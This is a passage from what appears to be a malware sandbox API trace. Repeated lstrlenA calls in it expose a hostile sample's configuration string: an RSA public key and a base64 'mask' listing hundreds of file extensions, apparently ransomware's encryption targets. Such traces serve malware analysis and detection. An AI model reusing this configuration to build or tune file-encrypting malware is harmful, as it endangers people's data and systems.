CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm